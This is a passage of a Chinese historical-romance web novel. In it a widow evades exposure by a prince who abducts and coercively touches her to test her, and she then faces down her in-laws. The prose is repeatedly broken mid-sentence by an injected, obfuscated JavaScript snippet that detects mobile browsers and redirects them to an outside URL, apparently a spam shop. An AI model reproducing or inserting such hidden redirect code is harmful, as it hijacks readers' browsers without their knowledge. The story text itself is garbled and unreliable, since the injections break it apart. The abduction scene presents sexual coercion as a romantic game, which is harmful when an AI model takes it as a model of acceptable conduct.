沉吟数秒后,他缓缓睁开双眸:“双瑞,明日你且去传播消息,就说无双画肆收购到居谦大师亲笔画的雄鹰,十八之时寻一有缘人出售。” 双瑞闻言抓耳挠腮:“小王爷,这和顾氏有什么关系?不是说顾氏吗?怎么扯到居谦大师亲笔画上?” 沈云祉:“自是有关,今日孙协兆拿出的画,大部分出自居谦大师之手。” “顾皎皎先父生前也喜画作,最爱收集名师之作,有其父必有其女,是以,本王猜测她同父相同。” 经主子一点拨,双瑞茅塞顿开:“小的就说王爷怎会对不喜画的孙协兆说赏画一事,原是料定了他会拿顾氏的画……一切都在小王爷掌握之中啊……” “嘘。”沈云祉无奈,他笑了笑手指抵唇:“隔墙有耳,你只需办好我交代之事便可。” 十八这日,顾皎皎带着莺儿早早来到无双画肆。 料想中人声鼎沸的模样并未出现,偌大的画肆只有熙熙攘攘几人。 顾皎皎皱眉:“莺儿,你是不是听错了日子,此处怎的这般冷清?” 莺儿有些茫然,仔细回忆一番后,他坚定道:“姑娘,奴婢确定没有听错,就是今日。” “那便进去看看吧。” 主仆二人进入无双画肆,数不清的画作悬挂于墙上,风格各异、美不胜收。 顾皎皎视线被吸引,细致地一张一张观摩。 当看到那副展翅欲飞的雄鹰画作时,她愣住,下一秒心中被欣喜占满。 没想到竟真有居谦大师亲笔画!若是父亲知晓,他一定十分开心。 纵然真迹必定价格昂贵,可顾皎皎对这幅画志在必得,当即便道:“掌柜的,这幅画包起来!” “掌柜的,这幅画我要了。” 顾皎皎说话之时,一名男子也在一旁出声。 她拧眉看向同自己抢画之人,本想同他商量一番,看清来人长相后,顾皎皎愣住:“小王爷?” 沈云祉今日穿着月白色竹纹劲装,露出修长的脖颈。 他似也才见到顾皎皎,笑着打招呼:“好巧,顾夫人也在此看画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017227|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 顾皎皎魂不守舍,她敷衍点头:“正是。” 沈云祉直直看向顾皎皎:“顾夫人也喜欢这画?” 顾皎皎点头又摇头,眸中划过一抹慌乱后,她道:“既然此画为小王爷钟爱之物,那我便不夺人所好!” “莺儿,咱们走!” 看着主仆二人近乎落荒而逃的背影,沈云祉微眯眼眸。 顾皎皎今日为何与前两次见面判若两人?居谦大师的画作她明明喜欢,他甚至从她眼中看到了势在必得,为何见了自己却猛然改变主意? 怀疑的种子自沈云祉心底生根发芽,长成参天大树。 直到回了院子,顾皎皎情绪才稍稍平复些许,她闭眼,脑海中挥之不去的却是那宛若朱砂的红痣! 是他,竟然是他! 心底惊惧再次爬起,她怎么也没想到那夜夺了她清白之人竟是身份尊贵的小云南王! 顾皎皎端起茶水猛喝了两口,强制压下 心底慌乱。 那日小云南王出现在寒奉寺时比上报给圣上到达驿站之时还要早上一夜,那说明那日他定是秘密处理什么事宜…… 不行,她不能让小云南王知晓那日寒奉寺之人是她,否则她难免小命不保。 可是方才已然露出破绽…… 顾皎皎低头沉吟,片刻后拿出一袋银子:“莺儿,你且拿着这袋黄金去驿站找小云南王。” 莺儿:“可是姑娘方才已经将画让给小王爷了……奴婢怎么说才好?” 顾皎皎垂首思量:“就说……就说我方才身体不适,现下觉得却是对那副画难以割舍,是以厚着脸皮重金求购。” 驿站 双瑞将一袋子黄金奉上:“小王爷,这是方才顾氏身边的大丫鬟送过来的,说是想求您割爱,重金求购居谦大师画作。” 沈云祉睨了黄金一眼,似笑非笑:“这顾皎皎可真是欲盖弥彰。” 他看着镜中自己脖颈上那颗显眼的红痣,原本被迷雾笼罩不能确定之事逐渐清晰起来。 他的怀疑并非空穴来风,顾皎皎有问题! 第十三章 她目前是安全的 “小王爷,那这袋子黄金如何处置?可是还予顾氏?” 见主子面色阴晴不定,双瑞不敢妄下定论,只得出声询问。 沈云祉思绪被打断,这才收回心神,他从袋中拿出一锭黄金,漫不经心握在掌中细细把玩。 吱嘎一声,沈云祉手中金元宝变了形状。 他叹息道:“黄金与美画,当真令人难以抉择啊!” 安阳侯府 顾皎皎一席白衣娉婷站立于院中一株硕大的绒花树下,绒花叶中那星星点点的淡红色花瓣随风飘落。 她伸手接住一朵绒花深深凝视,扑鼻香气钻进鼻腔。 “姑娘!” 莺儿的声音传来,顾皎皎猛的攥紧手中绒花,淡红汁水溢满指缝。 顾皎皎的心也如这掌中绒花一般,仿若被数双大手攥住,小云南王是否起疑,她的性命是否无忧,皆看莺儿有无带回那幅雄鹰画作。 她缓缓转头,直到看清莺儿手中物件时,高高悬起的心这才放下。 顾皎皎吐出一口浊气,她目前是安全的,幸好! 掀开画布,她伸手轻轻摩挲雄鹰的眼,眸中满是欣赏:“难怪父亲最爱居谦大师画作,果然精妙绝伦。” 再过两日便是父亲忌辰,届时将这幅画带去烧给他老人家,他定然欢喜。 莺儿:“姑娘重金求来的,自然是好的。” “姑娘,外边天气炎热,不若进屋去吧,奴婢去库房给您拿些冰镇荔枝来消消暑。” 顾皎皎点头:“冰镇荔枝且让秋容去拿,你将这幅画收到库房中好生收着,过两日我有用。” “姑娘竟还要用那白眼狼?”莺儿鼓着腮帮子气愤不已:“如此狼心狗肺之人哪里还能用得,姑娘,您还是莫要太心善了,不若将她发卖了一了百了。” 见莺儿这幅样子,顾皎皎顿觉好笑:“你急什么,留着她我自有用处。” 莺儿仍不服气:“能有什么用处,不过是给院中多留了一张吃饭的嘴罢了,这张嘴还一点儿也不牢靠,时时往外传消息呢,我呸!” 顾皎皎:“现下仍可用秋容稳住老夫人,若是她另找人来替秋容的位置,反倒难以掌控。” 莺儿了然,当即抱着画退下。 顾皎皎父亲忌辰这日,她早早的便将秋容打发到花房做活,自己则是带着画和莺儿避开府中丫鬟去往父亲的埋骨之处。 顾老爷生前虽为商人,可当年也是中了进士的,只因家中长辈期望,他不得不弃文从商。 因此顾老爷骨子里颇有文人风骨,对诗词书画都有涉猎,犹其对画兴致浓厚,因他生前最喜清净,顾皎皎找遍京中为他寻了此处长眠。 自打嫁到安阳侯府,顾皎皎便被孙老夫人找各种由头刁难,觉得商人低贱,更是不允她来瞧逝去的父亲。 看着父亲坟冢上比人还高的荒草,顾皎皎湿润了眼眶。 她跪倒在坟前哭得肝肠寸断:“父亲,是女儿不孝,是女儿对不住您!” 莺儿的眼眶也红红的,她亦跪下宽慰道:“姑娘,您且保重身体,老爷若是瞧见您这幅模样,定然会伤心的。” 顾皎皎并未言语,纤瘦双肩仍旧不停颤动,直到双眼肿成核桃,这才起身一点点将坟冢荒草拔除。 “莺儿,将画拿来。” 顾皎皎用火折子点燃雄鹰画作,没一会儿便噼里啪啦燃烧起来。 昏黄火光映入她盛了思念与忧伤的眸中,满目悲怆:“父亲,若您九泉之下长感无聊,女儿便多寻些画作烧给您欣赏……” “若是……” 顾皎皎声音哽咽起来:“若是您看得欣喜了……可否来看看女儿?两年了,您竟舍得一次也未曾入女儿的梦……您可是怪女儿未曾来看您?” 顾皎皎坐在坟前絮絮叨叨许久,直到临近黄昏这才起身离开。 也不知是不是哭了太久的缘故,她觉得眼睛十分干涩,低头揉眼的功夫,脖颈处传来剧痛,紧接着双眼一黑晕了过去。 顾皎皎再次醒来时,入目皆是黑。 她心中警铃大作,她这是被人绑架了?!会是谁要害她? 孙老夫人、刘氏、章氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017228|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、孙协兆,就连孙协兆那外室都在她脑中过了一遍,这几人都有可能是今日绑架自己之人。 但不过片刻,她又将他们排除在外。 安阳侯府式微,离了她又哪里有银子请得起杀手,况且杀了她,他们得不偿失。 如此看来,今日绑架她的人极有可能是求财求色! 顾皎皎忽觉有些冷,她倒吸一口凉气,隐隐嗅到空气中有一丝若有若无的香气。 她动了动,尖锐地刺痛感袭来,这才发现手脚皆被绑住。 究竟是何人,这香味闻着莫名有些熟悉。 “吱嘎。” 房门开合的声响打断了顾皎皎的思绪。 由于双眼被蒙住,嗅觉与听觉灵敏了不少,她清晰听到开门之人朝自己的方向走来。 顾皎皎镇定道:“阁下绑架我可是求财?若是求财,只要阁下开口,无论多少银两我都愿奉上,只愿阁下勿伤我与我那丫鬟性命。” “呵呵。” 男子轻笑一声,嗓音 微微有些沙哑:“你自己都泥菩萨过河,还有心思担心你那丫鬟?” 空气中那股香味浓郁了些许,顾皎皎轻轻嗅了嗅,这香味似乎是男子身上的。 香料十分名贵,此人应当不缺银钱。 若不为财……难道是为色?顾皎皎心中一紧,她下意识找护住胸口,却无能为力。 男子似乎看穿了她的想法,微凉指尖轻轻扶上她的面颊:“我不缺钱,缺暖床人……” 男子声线越发沙哑,略微粗糙的手指灵活在她面部游走,暧昧的气息愈发扑面而来。 “这样吧,你现在从了我,你那丫鬟我便放了,可好?” 男子手指轻轻扯开顾皎皎外衫……紧接着里衣…… 肌肤忽然冰凉,顾皎皎意识到自己已经被剥得只剩肚兜,她颤抖着嗓音道:“别……别这样……我已然是有夫之妇,既然阁下不差银两,不若娶两名身世清白的美妾……” 她话音未落,男子的双手便到处点火,所到之处引起阵阵颤栗与酥麻。 第十四章 吓到她了? 男子俯身在顾皎皎耳畔,湿润的唇舌温柔描绘她耳廓的形状:“可我就喜欢夫人这样的……” 说着,男子吻向脖颈,越发向下…… 意识越发迷离,顾皎皎忍无可忍,大喊道:“够了!” 男子如愿停下动作,颇觉好笑:“夫人,你是不是尚未搞清你自个儿处境?你说够了便够了?你莫忘了,我乃求色的土匪,真以为我是什么善茬?” “土匪?”顾皎皎闻言轻笑:“世间应当没有小云南王这般身份尊贵的土匪。” 她话音一落,房间陷入静谧,数秒后,男子继续手上动作:“夫人,你这招于我无用。” 男子骨节分明的大掌再次抚上自己的面颊,顾皎皎咬紧了牙关。 再等等!再等一等! 如今她敢确信,面前这个男子定是小云南王沈云祉,想来他将自己绑来此处,定然也是对自己起了疑心。 他的此举乃为试探,今日便是他们二人的博弈,谁先破防谁就输! 顾皎皎不信沈云祉为了试探自己会当真做什么,企料下一秒他的手竟从小腹往下探去。 顾皎皎大惊失色,当下也顾不得什么试探不试探了,忙道:“小王爷,我知道是您,莫要捉弄我了!” 她的嗓音带上了些许哭腔。 沈云祉挑眉,这是吓到她了? 他慢条斯理褪下手上特制的猪皮手套:“夫人说话好没道理,何故唤我小云南王,小云南王又是谁?” 还装? 顾皎皎顿觉头疼,片刻后,她道:“因着小王爷您身上的香薰气味。” 沈云祉抬手嗅了嗅:“哦?” 见他还装,顾皎皎闭眼,一咬牙道:“那夜与王爷在寒奉寺春风一度之人是我,我自小便对气味之类的敏感,是以这才闻着香薰味道便知是小王爷您……” “原来是你,竟然是你。” 沈云祉嗓音恢复正常,他倾身解开遮住顾皎皎视线的黑布。 纵然自己之前怀疑过此事,可当听到顾皎皎亲口承认时,还是觉得诧异。 陡然的光亮颇为刺眼,顾皎皎躲了躲,过了数秒才看向沈云祉。 她淡声道:“既然王爷已然知道了想知道之事,不知可否将我放了?” “自然可以。” 沈云祉点头,倾身解开束缚她双手双脚的绳索。 解开绳索之时,二人肌肤再次相触,方才记忆涌上脑海,顾皎皎侧过头,红晕稍稍爬上白皙光滑的面颊。 手脚恢复自由,顾皎皎径直坐了起来,这才发现自己并非想象中那般不堪,反而穿戴整齐。 沈云祉斟了杯茶:“你身上衣物是丫鬟换的,穿的是特制的衣裙,夏季穿上凉爽无比,堪比裸身。” 顾皎皎轻轻点头,所以方才自己被剥得只剩肚兜是错觉? 她坐起身,手旁粗糙触感吸引了她的注意,她看过去顿觉惊奇:“这……” 沈云祉点头:“正是,方才冒犯之举皆是带着特制手套。” 原是如此! 顾皎皎咬牙,早知是这样,她无论如何也不会说出寒奉寺之事…… 沈云祉看着她,眼眸深邃:“寒奉寺一事,本王也未曾料到竟会这般凑巧……你乃协兆的夫人,本王实在愧对他……” “如今事已发生,不知夫人准备怎么办?” 顾皎皎没料到沈云祉会这般问,她愣了愣才道:“小王爷不必愧疚,我与孙协兆乃貌离神离,不怕您笑话,我与他的最终归宿乃是和离。” 闻言,沈云祉眸中快速闪过一抹厉色,他不动声色道:“虽安阳侯府日渐式微,可终究为士农工商之首的士,夫人能下决心和离,可是另有高枝?” 高枝? 顾皎皎颇为无语,这小云南王说的高枝可是他自己?他可是怕她以那一夜露水情缘相胁,攀上他不撒手,所以出言试探? “小王爷说笑了。”顾皎皎温柔一笑:“我出身与商贾之家,自小散漫惯了,从来不向往高宅大院的生活。” “也请小王爷放心,之前寒奉寺一事,天知地知,你知我知,这世间绝无第三人知晓,今日过后,我也会将那日之事彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017229|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底遗忘……” “若是小王爷不信,我可以以我的人身性命发誓……” “不必。” 顾皎皎准备立誓,沈云祉直接打断她。 他看向顾皎皎,眼神冰冷:“本王从来不信这些虚的,所以你不必在本王面前巧舌如簧。” “本王只相信,死人会永远保守秘密。” 顾皎皎清晰的从沈云祉眸中看到杀意,她心中咯噔一下暗道不好。 就在双剑一步步向自己走来时,顾皎皎使劲儿拧了下自己大腿,那双好看的眼睛立马变得水蒙蒙的。 沈云祉挑眉:“哭什么?” 豆大泪珠从顾皎皎面颊滑落,她哑声道:“我本不愿同小王爷多说,怕小王爷误会我是水性杨花之人,可如今为了王爷安心,我不得不说了。” “哦?那你倒是说来听听。” 沈云祉眉眼之中的冰雪融化,带上了丝丝笑意,仿若真对她说的十分感兴趣。 顾皎皎此刻无暇揣摩他的心思,她 只知道她想活,她还为在安阳侯府众人处替自己讨回公道,若就此饮恨黄泉,她不甘心! “小王爷,不瞒您说,我与孙协兆成婚之前有一情郎,我二人本是情投意合,可惜有缘无份,前不久我与他重新联系上了,我二人已约定好和离后相伴终身……” 顾皎皎眉目含情,字字句句都盛满了对那郎君的深情。 她道:“是以,小王爷尽可放心,和离后我便离开京城远远的……绝不出现在您面前……” 沈云祉:“所以,夫人你说了这么多,便是想让本王放了你?” 顾皎皎点头行礼:“求小王爷大发慈悲。” “此事风险极大,且容本王考虑考虑。”沈云祉端起茶盏拂去茶沫,悠哉悠哉品起茶来。 顾皎皎站立在一旁,额角渗出细密汗珠,她悄然将手伸进裤腰处。 之前她为了防身,曾定制了一把精致小巧的软匕首放在其中。 若是今日这小云南王油盐不进,执意杀她,那她就算是死也要拉人垫背! 第十五章 锋芒 花房热气蒸腾,暑热难耐。 秋容拿着铁锹替花草松土,浑身衣衫皆被汗水浸湿。 “莺儿那个贱蹄子,整日里便仗着自己是姑娘身边的大丫鬟作威作福,为了不让我讨姑娘欢心,竟公报私仇日日将我指派到这花房来!” 她语气中满是怨恨,手下动作越发粗鲁,不少娇艳的花骨朵都被碾碎。 一丫鬟进入花房,见此,她目露震惊:“秋容姐姐,这是夫人最喜爱的花,怎可这般作践啊!” 秋容狠狠剜她一眼:“一朵破花作践便作践了,我是姑娘的陪嫁丫鬟,未必姑娘还能为着一盆破花怨我不成?你少多管闲事!” 丫鬟欲哭无泪:“可是……可是莺儿姐姐今日出门前曾交了任务给我,要我夜间搬了这花到院中去……可是如今花没了,我可如何是好啊!” 秋容闻言顿住:“你是说姑娘和莺儿出去了?” “正是。”丫鬟哭唧唧的:“现下也不知道夫人和莺儿姐姐回来了没,若是回来没见到院中的花,莺儿姐姐定然要处罚我……” 小丫鬟越想越伤心,低声啜泣。 “哭哭哭,就知道哭,瞧你那点出息!”秋容不屑,她站起身拍了拍手中湿泥:“行了,此事因我而起,自然也该由我解决,我这就去看看姑娘他们回来了没,待会儿我替你说说情。” 小丫鬟停了哭泣,感激涕零:“多谢秋容姐姐!” 秋容摆手:“谢倒是不必,日后若有什么好东西记得孝敬孝敬我便是。” 快步回了院子,秋容四处打量,确认四周无人后,她蹑手蹑脚靠近顾皎皎寝屋。 附耳聆听片刻,她敲门:“姑娘,小厨房做了冰镇绿豆汤,可要奴婢去给您取上一些?” 屋内久久未有人回应,秋容眼眸放光。 双剑奉命将蒙着眼的顾皎皎和莺儿送出,马车颠簸,七拐八拐后终才停下。 双剑:“夫人,只能送您到这儿了。” 顾皎皎点头:“多谢。” 她取下蒙眼纱布,带着莺儿下了马车,纵然天色已晚,可她还是一眼瞧出此地乃是她父亲的埋骨之处。 “这?” 顾皎皎皱眉,不是应该将他们送回安阳侯府吗?把她们丢在这荒郊野外算什么事儿? 双剑看穿她的想法,恭敬道:“小王爷说了,何处开始便由何处结束,今日夫人于此处晕倒,也应当从此处醒来,离了此处该忘的,便应都忘了。” 顾皎皎:…… 片刻后,她笑着道:“小王爷当真思虑周全,也请转告小王爷,请他放心,我定然不会食言。” 双剑并未回应,眨眼功夫便消失无踪。 黑黝黝的竹林中传出异响,莺儿瑟缩一下,往顾皎皎身旁靠去:“姑娘,此处到城中距离破远,且道路陡峭,如今天色黑沉,伸手不见五指的,我们要不去附近的寒奉寺借宿一晚?” “不可。”顾皎皎摇头:“今夜若不回府,难免会生祸端。” 她将衣裙裙摆撕下一截,就着月亮的丁点光亮在地上找寻许久,用布条、树枝和枯草简单制作一个火把。 火折子将火把点燃,二人视线皆开阔不少。 顾皎皎淡声道:“走吧,且先下山。” 在火把燃尽之际,主仆二人平安下山,莺儿松了口气:“幸好姑娘聪慧,否则今日咱们可真是寸步难行。” “少贫嘴了。”顾皎皎向远处眺望,一盏橙黄的灯笼由远及近。 她道:“莺儿,前方似乎有一辆马车,咱们且去问问他是否愿意搭我们到城中。” 靠近马车,顾皎皎这才看到这马车的主人是一个年迈的长者,她上前笑着恭敬道:“老伯,您这是去往哪里?” 老伯眯眼瞧了瞧二人,目露迟疑,片刻后才道:“老了不中用了,我本是想回城中,怎料眼睛不好使,转着转着便迷了路……” 回城中迷路了?这是瞌睡来了便有人递枕头? 顾皎皎心下欣喜,面上却不动声色:“正好我与婢女也要回城中,若是老伯信得过我的话,可让我来驾马车。” 老伯诧异:“你会?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017230|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾皎皎自信点头:“待字闺中时父亲曾教过一二。” 老伯闻言欣然同意。 沈云祉负手而立,听见身后传来声响,他淡声道:“事情办得如何了?” 双剑拱手:“回小王爷,属下伯父已然将人安全送回安阳侯府。” “那便好。”沈云祉唇角微抬,眸中兴致盎然。 本以为她出身于商贾,虽从那日宴席之时看出有些头脑,可到底改不了商人本性。 万万没曾想到,她却是个清醒的,性子颇有几分贫贱不能移,威武不能屈的意味。 回想起顾皎皎方才的小动作,沈云祉轻笑出声:“双剑,你说要是方才本王执意不让她走的话,她是不是便会同本王鱼死网破?” “属下觉得应当会。” 双剑上前一步,将一把软匕首呈上:“小王爷,这是顾夫人的。” 沈云祉转身,视线落在匕首上,他将匕首拿起打量了一番:“这把匕首同它主人一样,带着锋芒,罢了,好武器应当遇上好主人 ,你且悄无声息将这匕首还回去。” “人也好,武器也好,总得有锋芒才有意思……” 安阳侯府 原本这个时辰,安阳候府外应当只有几盏微弱的灯笼照亮,可今日远远的,顾皎皎便瞧见府门外似乎格外亮堂。 顾皎皎放缓了脚步,她凑近莺儿轻声道:“待会儿恐有一场硬仗要打,今早我同你交代的,你可还记得?” 莺儿面色凝重:“姑娘放心,奴婢记得。” 闻言,顾皎皎放心了些许。 主仆二人加快速度,很快便站在了安阳侯府门外的石阶下。 她们本欲回府,前行的路却被拦住。 石阶上方,站着浩浩荡荡一群人,数名小厮手中火把高举,孙老夫人带着章氏、刘氏大喇喇坐在侯府正门处,面色冷凝。 当主仆二人身影出现在视线中时,孙老夫人冷笑。 她侧身道:“现在几时了?” 宋嬷嬷:“回老夫人,将将亥时。” 第十六章 又能讨什么好? “亥时了!”孙老夫人面色越发难看,她站起身质问:“顾氏,你今日何故亥时才回?!” 瞧见顾皎皎裙摆处的破损,孙老夫人像是发现了什么了不得的事,她颤抖着手大声嚷道:“大胆顾氏,你亥时回府便罢了,竟还衣衫不整,你今日可是外出与姘头私会了!!!” 姘头? 章氏与刘氏互相错愕看了对方一眼,顺着孙老夫人手指方向看去,果然发现顾皎皎裙摆有被撕坏的痕迹。 难道真是会了姘头?否则怎会出一趟门衣裙都扯坏了? 章氏与刘氏眸中不约而同划过一抹幸灾乐祸。 这下好了,若是罪名坐实,这顾皎皎不仅会被休弃,恐怕还会被族中长辈沉塘。 见顾皎皎没回话,孙老夫人自觉颜面受损,她一拍大腿怒斥道:“你这个不孝不悌的东西,为何不答话?!” 章氏捂唇笑:“母亲,您想让三弟妹说什么呢,总不能当着这么多人面承认自个与情郎私会一事吧?这事儿可了不得,是要被沉塘的。” “三弟妹啊,你纵使天不怕地不怕,也不应做出此等损人不利己之事啊!” 孙老夫人面色难看,虽然她曾意图让顾皎皎失了清白,这样协兆便能伺机休了她,可这并不代表她愿意看到顾皎皎有情郎。 被动方与主动方十分重要,尤其是当朝律例对男欢女爱一事儿管得相对松泛,若顾皎皎有情郎,那她被协兆休弃后便能再嫁,律法规定,女子下堂再嫁可将嫁妆悉数带去二嫁之家。 如此一来,他们安阳侯府又能讨什么好? 刘氏眼中划过得意:“天不怕地不怕,呵呵,依我看,如此不守妇道、水性杨花之人沉了也好啊!省的败坏了咱们安阳侯府的名声。” 顾皎皎不发一眼,知冷静看着几人唱大戏。 沉塘? 她心中觉得好笑,当今圣上登基后,便逐渐废弃诸多糟粕陋习,其中便包括沉塘。 她们日日瞧不起她,说她出身商贾无知低俗,可如今看来,真正无知的另有其人! 一抹黑影悄悄躲到举火把的小厮身后,那人就算化成灰,顾皎皎也认得。 想来今日的麻烦,应当便是秋容那个白眼狼带来的。 顾皎皎一步一步踏上阶梯,距离孙老夫人不过两步距离时,她才堪堪停下脚步。 她平静道:“母亲与二位嫂嫂所说之话实在伤人,我为了安阳侯府整日殚精竭虑,直至现下才回府,未曾料到得不到任何感谢,反而是脏水一盆盆泼来。” 刘氏嘲笑:“三弟妹倒是说说,你是如何为了侯府殚精竭虑的?” 她意味深长看了眼顾皎皎裙摆:“究竟是为了侯府做出怎样的牺牲,才会半夜衣衫不整回府……” 刘氏话音一落,一众奴仆看向顾皎皎的神色皆怪怪的。 顾皎皎皱眉,她很厌恶这种感觉,既然这些人都不要脸,那就别怪她不给脸了。 她当即冷声道:“二嫂嫂可是不当家不知柴米油盐贵?” 刘氏面色忽变,这小贱人是嘲讽她掌家之权被夺? 顾皎皎:“二嫂嫂不过当了几日家,自然不清楚咱们安阳侯府的花销有多大。” “两位嫂嫂与母亲每日喝的血燕、吃的山珍海味、身上的每一匹绸缎,乃至府中每个下人的月银,那样不是开销?” “今日我早晨便出府去各个商铺查账、料理生意,城中事宜处理完后,有抓紧乘坐马车去往城外的庄子,我与莺儿二人今日未吃一口热饭,更是一刻也不敢停歇,这才在亥时堪堪回府。” “怎的我这般辛苦,在母亲和二位嫂嫂眼中,便就只配被泼脏水了?” 刘氏不屑:“少吹牛了,听你这意思,咱们这偌大的安阳侯府都靠你一人养着呗?” 顾皎皎认真道:“正是如此。” 刘氏噎住,顿觉面上无光,她看向孙老夫人求助。 孙老夫人看也未看刘氏,她阴沉道:“可是城东那一排的铺子?” “正是。” 孙老夫人不说话了,面色和缓不少。 城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋嬷嬷闻言了然,她宽慰道:“老夫人若是实在不放心三夫人,不若便让秋容多多留意一下,有任何风吹草动都立马禀告。” 第十七章 还是放心不下 说到秋容,孙老夫人迟疑:“前些日子,她勾引协兆不成,反被惩罚一事闹得沸沸扬扬,顾皎皎竟也愿意继续留她在身边伺候?” 宋嬷嬷:“许是三夫人念着秋容是从顾府与她一道嫁到咱们安阳侯府的,所以也就睁一只眼闭一只眼了。” “睁一只眼闭一只眼?”孙老夫人仍旧怀疑,她道:“可有猫腻?近日那顾皎皎可是便得狡猾了不少,会不会……” 宋嬷嬷笑了:“老夫人大可放心,今日之事也是秋容前来告知老奴的,况且若是三夫人当真恼了秋容,秋容又哪里能在各个小院自由来回,不得像其他下人那样,走哪儿都得拿上牌子登记在册?” 孙老夫人面色这才好看些许:“一天天的净是糟心事儿,可算有件事儿逞心如意了!” 她从腕间褪下一只银镯:“这样,你且将此物赏给秋容,让她留意着些顾皎皎究竟是不是在外头有了人,此事若是办好了,过段时日我便做主将她弄到协兆屋里伺候。” 宋嬷嬷领命离开。 弄星院 顾皎皎对镜梳妆,寝屋外边忽然发出争执声,听声音似乎是莺儿与秋容。 她秀气的眉毛微微拧了起来:“何事在外大吵大闹的?” 屋外声音戛然而止,莺儿红着脸小步跑进屋内:“姑娘,都是秋容在没事儿找事儿!” 秋容不服,忙也挤进屋内:“什么叫我没事儿找事儿,我给姑娘端了新鲜的牛乳过来,我还错了吗?!” 莺儿冷笑:“没人说你错了,可你如今乃是布衣丫鬟,只需管好你分内之事便可。” 秋容又想反驳,顾皎皎道:“莺儿说得没错,秋容,你知道的,我除了字画外最爱呢便是花花草草,如今我将你调到花房也是信任,你只将花房活计干好便是。” 见主子站在自己这边,莺儿得意极了,冷哼了一声。 秋容撇了撇嘴,十分委屈:“姑娘,花房的活计奴婢自当干好,可奴婢心里还是放心不下姑娘……” 她跪在地上:“奴婢与莺儿是同姑娘从顾府来到这安阳侯府的,若论亲疏,自然要比旁的人更亲近些,求姑娘准许奴婢干花房活计的同时,也能伺候姑娘……旁人伺候姑娘,奴婢实在放心不下……” 放心不下?我呸! 莺儿气得要死,这是变着法的埋汰谁呢!她稍稍看了顾皎皎一眼,生怕她被秋容的花言巧语蛊惑,毕竟姑娘最是重情,指不定心软了也说不准。 铜镜中,顾皎皎眉眼淡然似水。 她视线落在秋容腕间那只色泽微暗的银镯子上,唇边挂上一抹淡淡的讥讽之意。 原来秋容也知,她身边仅有她与莺儿最为可靠,即便如此,她还是毅然决然为了钱财、地位背叛她。 罢了,她不怪秋容因利背主,毕竟人不为己,天诛地灭,可她也万万不会如从前那般任人宰割! 顾皎皎笑:“难得你这般真心,世间唯有真心不可辜负,既如此便照你说的办吧。” 秋容激动,她磕头道:“多谢姑娘成全!” 顾皎皎淡淡嗯了一声:“牛乳放下,今日天色已晚,早些歇着吧。” “是,姑娘。” 秋容背影消失于黑夜之中,莺儿关上房门急切道:“姑娘,秋容一向嘴皮子利索,您千万莫要被她哄骗了啊!” 顾皎皎瞧着莺儿被气红的脸,心中一暖,幸好她身边还有莺儿。 她笑着道:“在你心中,你姑娘我便是这般只长个子,不长脑子和心眼的?” “可姑娘您方才……” 顾皎皎:“你方才可瞧见秋容腕间那镯子了?” 莺儿点头:“瞧见了,可是姑娘,一个银镯子没什么稀奇的啊。” “银镯子自然不稀奇,可方才她在大门时腕间可是干干净净的,以她那个虚荣的性子,若是有首饰,定然巴不得全戴在手上,由此可见,那银镯子定是不久之前有人赏的。” 莺儿:“还是姑娘细心,所以姑娘这是将计就计?” 顾皎皎眯眼:“他们对我如此上心,想来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 